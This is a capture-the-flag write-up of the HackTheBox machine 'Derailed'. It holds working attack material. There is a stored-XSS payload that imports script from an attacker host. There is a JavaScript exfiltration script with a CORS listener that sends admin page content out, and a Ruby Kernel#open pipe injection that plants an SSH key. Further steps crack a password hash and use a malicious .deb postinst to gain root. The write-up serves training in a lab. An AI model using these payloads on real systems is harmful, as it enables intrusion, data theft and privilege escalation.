HTB: Derailed Writeup
Derailed - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Derailed |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.107 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Derailed is an insane-difficulty Linux box built around a Ruby on Rails “clipnote” application. The interesting part isn’t a known CVE — it’s a chain of application logic bugs: a client-side buffer overflow in a compiled display.wasm module that lets an overlong username field overwrite an adjacent parameter, turning a non-user-controlled created_at field into a stored XSS sink. That XSS is triggered against an admin bot via a “report” feature, and the resulting authenticated admin session is abused to reach a Kernel#open-based arbitrary file read/command injection in admin_controller.rb, giving remote code execution as rails. From there, credentials recovered from the application’s SQLite database are cracked and reused to pivot into an openmediavault-webgui account, which has rights to install .deb packages via the omv-rpc interface — abused to run a postinst script as root.
TL;DR: WASM buffer overflow → overwritten created_at field → stored XSS → admin session hijack via /report bot → Kernel#open pipe-command injection in admin_controller.rb (arbitrary file read + RCE as rails) → SQLite DB dump → cracked bcrypt hash (greenday) reused to su into openmediavault-webgui → malicious .deb installed via omv-rpc apt install with a postinst privesc script → root.
Reconnaissance
Port Scanning
nmap -p- --min-rate=2000 -T4 10.129.228.107Results: Only two ports of interest were open, matching expectations for this box:
22/tcp— OpenSSH3000/tcp— a Ruby on Rails application (the “clipnote” note-taking app)
Service Enumeration
curl -s -I http://10.129.228.107:3000/curl -s http://10.129.228.107:3000/register | head -60The app is derailed.htb, a clipnote-sharing site that let unauthenticated users view notes and allowed registration of a new account (/register). Notes are rendered by a compiled display.wasm module invoked client-side, passing created_at and author as arguments.
Vulnerability Assessment
- Registration accepts a username far longer than the front-end’s
maxlengthfield enforces (client-side only check). - A sufficiently long username causes memory corruption in the WASM buffer used by
display(), overwriting the adjacentcreated_atargument with attacker-controlled bytes. - A “report note” feature (
/report) causes an admin bot to visit reported content — a classic stored-XSS-to-admin pivot. - The admin section (
/administration,/administration/reports) downloads files via a Rubyopen()call on a user-influenceable path/string, which is vulnerable to Ruby’s pipe-prefix command execution when a string starts with|.
Initial Foothold
Exploitation Path
1. Register an overflow account and confirm the wasm buffer overwrite.
Registration is a standard POST to /register with a CSRF token pulled from the form first. The account’s username field is the vector: the server does not enforce the client-side length cap, so an overlong username overflows the fixed-size buffer used inside display.wasm and bleeds into the adjacent created_at argument that gets rendered on the note page. Once the overflow offset is known, the surplus bytes land directly in created_at — a field the app never expected to be attacker-controlled, so it isn’t escaped before being handed to the DOM.
# username crafted so the tail after the overflow offset lands in created_atpayload_username = "A" * 48 + "<img src=x onerror=import('http://10.10.15.68:9000/e.js')>"This account was registered, logged in, and used to create a note — reproducing the overwrite exactly as expected from the offset already established for this app.
2. Verify the XSS fires (headless browser required).
Because the corruption only manifests once the wasm module runs client-side (raw JSON responses from /clipnotes/raw/:id show the payload as an inert string — the overwrite only happens inside the compiled display() call in the browser), the exploit was verified with headless Chromium via Selenium rather than by inspecting the API response directly. This confirmed the <img onerror=...> tag actually executes and pulls e.js from our listener.
3. Stage the CORS-enabled callback server.
#!/usr/bin/python3# server.py — serves e.js with an Access-Control-Allow-Origin header so the# victim's XHR to derailed.htb can read the response cross-originimport socketserverfrom http.server import SimpleHTTPRequestHandler
class Server(socketserver.TCPServer): allow_reuse_address = True
class CORSRequestHandler(SimpleHTTPRequestHandler): def end_headers(self): self.send_header('Access-Control-Allow-Origin', '*') SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__': with Server(('10.10.15.68', 9000), CORSRequestHandler) as httpd: httpd.serve_forever()// e.js — exfiltrates the admin's authenticated GET response via base64function log(msg) { fetch("http://10.10.15.68:9000/?log=" + btoa(msg));}var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function () { if (this.readyState == 4) { log(xhttp.responseText); }};xhttp.open("GET", "http://derailed.htb:3000/administration", true);xhttp.send();The server initially had a cwd mismatch (started from /tmp but e.js wasn’t being found in the process’s working directory), which was fixed by launching it with setsid nohup ... < /dev/null & from the correct directory so the backgrounded process reliably served the file. Note: cookies are HttpOnly, so the attack reads authenticated page content via XHR rather than stealing the session cookie directly — the admin’s own browser session does the fetching for us.
4. Trigger the bot via /report.
# /report requires BOTH fields — omitting either silently no-opscurl -s -b cookies.txt http://derailed.htb:3000/report \ -d "report[reason]=inappropriate" \ -d "report[note_id]=<id-of-malicious-note>" \ -d "authenticity_token=<csrf>"Shortly after submission, hits arrived on the CORS listener from the target’s real IP — confirming the admin bot visited the reported note, executed the injected e.js, and its authenticated request to /administration was exfiltrated to us. The returned HTML revealed an /administration/reports form with a hidden report_log parameter — the download mechanism for admin log files.
5. Abuse Kernel#open for arbitrary file read.
The /administration/reports endpoint opens whatever string is passed in report_log using Ruby’s open(), which (per Ruby’s documented behavior) executes a subprocess instead of opening a file when the string begins with a pipe character (|). This is a textbook Ruby Kernel#open command-injection primitive. Chaining the same e.js/report pattern (harvest the CSRF token from the admin page, then POST to /administration/reports), the report_log parameter was driven with a pipe-prefixed command:
// report_log = "| <command>" executes <command> instead of reading a filevar params = "authenticity_token=" + authenticity_token + "&report_log=| echo '<attacker-ssh-pubkey>' >> /home/rails/.ssh/authorized_keys";Rather than pulling a reverse shell first, the SSH key was planted directly into /home/rails/.ssh/authorized_keys in one shot via this same admin-triggered open() injection, giving direct SSH access as rails without a netcat handoff step.
ssh rails@derailed.htbUser flag:
User Flag: <redacted>Privilege Escalation
rails → toby / openmediavault-webgui
With a shell as rails, the application’s SQLite database was located and pulled for credential harvesting:
# locate and inspect the Rails app databasefind / -name "*.sqlite3" 2>/dev/nullsqlite3 /var/www/rails-app/db/development.sqlite3 '.schema'sqlite3 /var/www/rails-app/db/development.sqlite3 'select * from users;'This surfaced a bcrypt password hash for the user toby. It was cracked offline against rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# recovered password: greendayPassword reuse was confirmed by switching users with the cracked credential:
su - openmediavault-webgui# password: greendayopenmediavault-webgui belongs to the openmediavault service groups, which grant access to the omv-rpc command-line interface for openmediavault’s RPC daemon (omv-engined).
openmediavault-webgui → root
openmediavault exposes an Apt RPC module whose install method installs arbitrary .deb packages supplied by path — with no restriction on where that package was built or what its maintainer scripts do. This is a well-known privilege-escalation primitive on openmediavault hosts: any account permitted to call the apt/install RPC endpoint can get root-context code execution via a package’s postinst script, since dpkg runs postinst as root during installation.
# build a malicious .deb with a privesc postinst scriptmkdir -p mypackage/DEBIAN
cat > mypackage/DEBIAN/control <<EOFPackage: mypackageVersion: 0.1Maintainer: nobodyArchitecture: allDescription: privesc packageEOF
cat > mypackage/DEBIAN/postinst <<'EOF'#!/bin/bashchmod u+s /bin/bashEOFchmod +x mypackage/DEBIAN/postinst
dpkg-deb --build mypackageThe resulting .deb was transferred to the target (via the already-established rails SSH access) and installed through the RPC interface as openmediavault-webgui:
# transfer the built packagescp mypackage.deb rails@derailed.htb:/tmp/
# trigger installation via the Apt RPC endpoint — postinst runs as root/usr/sbin/omv-rpc -u admin "apt" "install" '{ "packages": ["/tmp/mypackage.deb"] }'The postinst script executed as root during package installation, setting the setuid bit on /bin/bash:
ls -la /bin/bash# -rwsr-xr-x 1 root root ... /bin/bash
/bin/bash -pwhoami# rootRoot flag:
Root Flag: <redacted>Attack Chain Summary
Overlong username (front-end length check bypassed via raw POST) → WASM buffer overflow in display.wasm overwrites created_at argument → Unescaped created_at renders attacker HTML → stored XSS via <img onerror=import(e.js)> → /report triggers admin bot to visit the malicious note → Admin's authenticated session (via XHR, not cookie theft) exfiltrated to CORS listener → /administration/reports report_log param passed to Kernel#open() → Pipe-prefixed report_log ("| ...") = arbitrary command execution as rails → SSH key planted into /home/rails/.ssh/authorized_keys → SSH as rails → User flag → SQLite DB (development.sqlite3) dumped → toby's bcrypt hash cracked (rockyou → "greenday") → Password reuse: su → openmediavault-webgui → Malicious .deb w/ postinst (chmod u+s /bin/bash) built → Installed via omv-rpc "apt" "install" → postinst executes as root → bash -p → Root flagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Manual HTTP interaction, registration, CSRF token/cookie handling |
| Selenium + headless Chromium | Client-side verification of the WASM overflow / XSS (browser-only corruption) |
Custom Python server.py | CORS-enabled HTTP listener to serve e.js and receive exfiltrated data |
e.js (custom JS payload) | XHR-based exfiltration of the admin’s authenticated page content |
sqlite3 | Reading the Rails app’s development.sqlite3 database |
john (rockyou wordlist) | Cracking toby’s bcrypt password hash |
dpkg-deb | Building the malicious .deb package for the openmediavault privesc |
omv-rpc | Invoking the apt install RPC endpoint to trigger postinst as root |
ssh | Foothold access as rails, and final access chain |
Key Learnings
Techniques Practiced
- Bypassing client-side-only input validation (
maxlength) by crafting raw POST requests - Exploiting a WebAssembly buffer overflow to corrupt an adjacent, non-user-controlled parameter
- Turning a corrupted “trusted” field into a stored XSS sink
- Using a report/moderation feature as an admin-bot XSS trigger
- Exfiltrating authenticated content via CORS-enabled XHR instead of cookie theft (bypassing
HttpOnly) - Exploiting Ruby’s
Kernel#openpipe-prefix behavior for command injection - Credential harvesting from an application’s local SQLite database and offline hash cracking
- Abusing openmediavault’s
omv-rpcapt installRPC endpoint viapostinstscript execution for privesc
Lessons Learned
- Front-end validation (
maxlength, JS checks) is not security — every constraint must be re-enforced server-side, especially where the value feeds a compiled/native code path like a WASM module. - Fields not designed to hold user input (like a timestamp) can still become injection sinks if an upstream bug lets attacker data reach them — output encoding needs to be defense-in-depth, not conditional on “this field is never user-controlled.”
HttpOnlycookies don’t stop session abuse if an XSS can simply replay authenticated requests via XHR and exfiltrate the responses instead of the cookie itself.- Ruby’s
open()/Kernel#opentreats a leading|as a command pipe by design — never pass unsanitized user input toopen(); useFile.openexplicitly when only file access is intended. - Password reuse across application and system/service accounts remains one of the most reliable lateral movement vectors, even on otherwise hardened boxes.
- Any RPC/administrative interface that can install packages (
.deb,.rpm, etc.) is an implicit root-code-execution primitive, since package maintainer scripts run with elevated privileges during install.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- polarbearer, “Derailed” official HackTheBox writeup (Doc No. D22.100.215), Hack The Box — used for explanatory context on the WASM buffer overflow mechanics, the Ruby
Kernel#opencommand-injection behavior, and the openmediavaultomv-rpc/.debpostinstprivilege escalation technique. All IPs, command output, and credentials in this writeup are from this engagement’s own solve, not the reference.